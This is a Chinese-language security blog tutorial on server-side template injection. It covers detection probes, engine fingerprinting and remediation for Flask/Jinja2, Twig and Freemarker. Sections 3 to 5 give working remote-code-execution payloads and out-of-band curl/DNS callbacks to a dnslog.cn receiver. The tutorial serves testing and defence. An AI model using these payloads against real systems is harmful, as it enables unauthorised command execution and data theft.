Skip to content
Kurisu
Go back

SSTI 模板注入:检测、利用与修复

1. 什么是 SSTI

SSTI(Server-Side Template Injection,服务端模板注入)指用户输入被当作模板代码交给模板引擎解析执行的漏洞。

正常开发中,模板引擎负责把「模板 + 数据」渲染成页面。问题出在错误的写法上:开发者把用户输入直接拼接进模板字符串,而不是作为数据传入。模板引擎一视同仁地解析 {{ }}${ }<%= %> 等表达式,用户输入里的表达式就被当成了代码。

         正常流程                                漏洞流程
   ┌───────────────┐                    ┌───────────────┐
   │ 模板: Hello {{ name }}  │            │ 模板: Hello {{ name }}  │
   │ 数据: name="小明"        │            │ 数据: name="{{7*7}}"    │
   └───────┬───────┘                    └───────┬───────┘
           ▼                                    ▼
   模板引擎解析 {{ name }}                 模板引擎解析 {{ name }}
           │                                    │  → 替换成 {{7*7}}
           ▼                                    ▼
   Hello 小明                            Hello {{7*7}} → 再次被解析 → Hello 49

关键点:只要用户输入最终进入了 Template() / render_template_string() / createTemplate() 这类”动态模板”接口,就存在注入面

常见的危险写法:

语言/框架危险代码
Python / Flaskrender_template_string('<h1>Hello ' + name + '</h1>')
Python / Jinja2jinja2.Template(user_input).render(...)
PHP / Twig$twig->createTemplate($user_input)
Java / Freemarkernew Template("t", new StringReader(input), cfg)
Java / Velocityvelocity.evaluate(ctx, writer, "log", input)
Ruby / ERBERB.new(user_input).result

2. 检测:多引擎探测载荷

SSTI 的第一道门槛是找到输入点——凡是输入内容会原样出现在响应里的位置(搜索框、用户名、邮件模板、报错页、导出文件名等)都值得测。然后用通用算术探测串挨个试:

{{7*7}}        # Jinja2 / Twig / Nunjucks / Tera 等
${7*7}         # Freemarker / JSP EL / Velocity
<%= 7*7 %>     # ERB (Ruby) / JSP
{7*7}          # Smarty (PHP)
#{7*7}         # Ruby / Slim 等
${{<%[%'"}}%\  # 通用 polyglot,让多种引擎报错或原样回显,用于快速判断

如果页面输出 49,说明表达式被服务端执行了,基本可确认 SSTI。接着要判断具体是哪个引擎——不同引擎的利用链完全不同。

                ┌─ {{7*7}} → 49
                │    ├─ {{7*'7'}} → 7777777  ──► Jinja2 (Python)
                │    ├─ {{7*'7'}} → 49       ──► Twig (PHP) / Nunjucks (JS)
                │    ├─ {{config}} 能输出配置  ──► Flask + Jinja2
                │    └─ {{_self.env}} 可用     ──► Twig 1.x

用户输入 ── fuzz ──┼─ ${7*7} → 49   (Java 系)
                │    ├─ ${7*'7'} → 49        ──► JSP EL
                │    └─ ${7*'7'} → 报错       ──► Freemarker

                ├─ <%= 7*7 %> → 49  ──► ERB (Ruby) / JSP

                └─ 所有探测串都无回显
                     └─► 盲 SSTI:时间盲注 / OOB 探测(见第 5 节)

几个判断细节:

3. Jinja2 利用

确认是 Jinja2(常见于 Flask)后,目标是拿到 Python 对象 → 全局作用域 → RCE。核心思路:Python 一切皆对象,从任意对象出发,沿 __class____mro____subclasses__ 爬到 object 基类,再遍历所有已加载类,找到能执行命令的类(subprocess.Popen 等)。

3.1 信息收集:读配置

{{config}}

Flask 下这条直接输出应用配置(含 SECRET_KEY)。利用 config 所在模块已导入 os 的事实,可以一步直达命令执行:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

3.2 经典链:classmrosubclasses

{{''.__class__.__mro__}}
{# 输出: (<class 'str'>, <class 'object'>),Python 3 下 object 索引是 1 #}

{{''.__class__.__mro__[1].__subclasses__()}}
{# 输出所有已加载类的列表,找到 subprocess.Popen 的下标(环境不同下标不同) #}

假设 Popen 下标是 431,直接调用:

{{''.__class__.__mro__[1].__subclasses__()[431]('id', shell=True, stdout=-1).communicate()}}

Python 2 下 str.__mro__ 多一层,要用 [2];也可以统一用 [].__class__.__base__.__subclasses__()(list 的基类直接是 object)。

下标会随环境漂移,更稳的做法是遍历查找:

{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == 'Popen' %}
    {{ c('id', shell=True, stdout=-1).communicate() }}
  {% endif %}
{% endfor %}

没有 Popen 时,退而求其次找 warnings.catch_warnings(几乎必然存在),从它的 __init__.__globals__ 里拿 __builtins__

{{''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

3.3 短链捷径

Jinja2 自带一些全局对象,它们的模块作用域里躺着 os,可以少爬几层:

{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}

4. Twig 利用

Twig(PHP)的利用核心是拿到环境对象 env,然后注册任意 filter 回调为危险函数。_self 是模板内的特殊变量,Twig 1.x 中可以通过它触达 env

{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}

registerUndefinedFilterCallback('exec') 注册一个”未定义过滤器处理器”,之后任何未定义过滤器名都会被当成 exec() 执行。所以第二行 getFilter('id') 实际执行了 exec('id')

Twig 2.x 移除了对 _self.env 的暴露,但引入了能接收回调参数的过滤器(filter / map / sort),直接把系统函数当回调传进去即可:

{{['id']|filter('system')}}
{{['id']|map('system')}}
{{['id',0]|sort('system')}}

这三条都会执行 system('id')。若被沙箱拦截,思路是找沙箱未禁用的过滤器 + 能触达危险对象的内置变量

沙箱的意义是”白名单 + 禁用危险过滤器”,但只要 env 或任意内部对象可达,绕过就只是时间问题——这也是修复不能只靠沙箱的原因。

5. 无回显场景:OOB 探测

页面不回显表达式结果(渲染后为空、被过滤、纯盲注)时,用 DNS/HTTP 外带把执行结果带出来。

5.1 准备接收端

常用的 OOB 平台:dnslog.cnceye.iointeractsh(projectdiscovery 开源),或自建 dig + nslookup 监控。以 dnslog.cn 为例,先取一个子域 xxxx.dnslog.cn

5.2 探测 payload

{# Jinja2:执行 curl 请求,让目标服务器主动访问我们的域名 #}
{{config.__class__.__init__.__globals__['os'].popen('curl http://xxxx.dnslog.cn/flag').read()}}

{# 无 curl 时用 Python #}
{{config.__class__.__init__.__globals__['os'].popen('python3 -c "import socket;socket.getaddrinfo(\'flag.xxxx.dnslog.cn\',80)"').read()}}
{# Twig #}
{{['curl http://xxxx.dnslog.cn/flag']|filter('system')}}
# Freemarker
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://xxxx.dnslog.cn/flag")}

5.3 判断与提效

6. 修复

SSTI 的根因是「模板字符串与数据分离」这个原则被破坏,修复也要从这条主线出发:

1. 模板与数据分离(最根本)

# 错误:用户输入进模板字符串
render_template_string('<h1>Hello ' + name + '</h1>')

# 正确:用户输入只作为数据传入
render_template('hello.html', name=name)

永远不要出现 Template(用户可控字符串) 这类动态模板接口。

2. 开启自动转义

3. 沙箱兜底(提高门槛,非银弹)

from jinja2 import Environment, SandboxedEnvironment

env = SandboxedEnvironment()   # 替代默认 Environment

Jinja2 SandboxedEnvironment 和 Twig sandbox 扩展能拦掉大部分 __class__ 链,但历史上多次出现绕过(通过 attr 过滤器、间接 __globals__ 访问等),所以沙箱只能作为纵深防御的一层。

4. 运行环境最小权限

5. 输入校验与依赖维护

6. WAF 是补充不是修复

拦截 {{${<% 等特征能挡掉脚本小子,但绕 WAF 的成本很低(编码、拆分、注释符),且 WAF 规则误伤正常业务(比如邮件模板功能本身就合法使用 {{ }})。SSTI 必须从代码层根治。

参考


Share this post:

Previous Post
ThinkPHP 5.1.37 反序列化链复现:从 POP 链到 RCE
Next Post
Cacti CVE-2022-46169 复现:认证绕过 + 命令注入